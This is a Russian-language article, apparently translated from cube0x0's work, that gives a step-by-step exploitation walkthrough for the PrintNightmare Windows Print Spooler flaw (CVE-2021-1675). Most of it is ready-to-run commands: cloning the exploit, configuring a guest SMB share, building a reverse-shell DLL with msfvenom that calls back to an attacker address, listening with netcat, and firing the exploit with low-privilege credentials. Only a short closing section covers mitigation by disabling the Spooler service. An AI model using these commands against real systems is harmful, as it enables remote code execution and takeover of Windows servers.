Как стать автором
Обновить

Print Nightmare (CVE-2021-1675) эксплуатация и защита

Автор оригинала: cube0x0

Данный материал предназначен только для исследования уязвимости и построения своевременной защиты.

Уязвимость Spooler позволяет удаленно или локально запускать вредоносную dll для эксплуатации нужны учетные данные пользователя с минимальными привилегиями, патч выпущенный Microsoft не закрывает уязвимость.

Используемые ОС:

  1. Windows Server 2019

  2. Parrot linux 

Подготовка

Для успешного запуска exploit понадобится python3 с установленной библиотекой Impacket

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Скачиваем exploit

git clone https://github.com/cube0x0/CVE-2021-1675.git

Запускаем exploit и получаем вывод с параметрами запуска

python3 CVE-2021-1675.py
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'

Так же для эксплуатации понадобится SMB без авторизации

cd /etc/samba/
mv smb.conf  smb.conf.back

Конфигурация smb.conf

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /Ozali/
    guest ok = yes
    read only = no
    browsable = yes

Перезапускаем службу после изменения конфигурации

service smbd restart 

Для определения уязвимых хостов можно использовать rpcdump.py из библиотеки Impacket

Пример:

rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol

Создаем reverse shell dll для тестирования exploit в папке с открытым доступом SMB

msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=192.168.1.37 LPORT=443 -o hackerr.dll

После обращения к вредоносной dll на скомпрометированном сервере будет открыто reverse shell подключение, для этого на своем Parrot будем слушать порт 443 и ожидать подключения

nc -lvp 443

Эксплуатация

python3 /tmp/CVE-2021-1675/CVE-2021-1675.py ozali.lowpriv:Pass123@192.168.1.10 '\\192.168.1.37\smb\hacker.dll'

В качестве временного закрытия уязвимости можно отключить службу spooler 

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

Или удалить службу принтеров

Uninstall-WindowsFeature Print-Services
Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.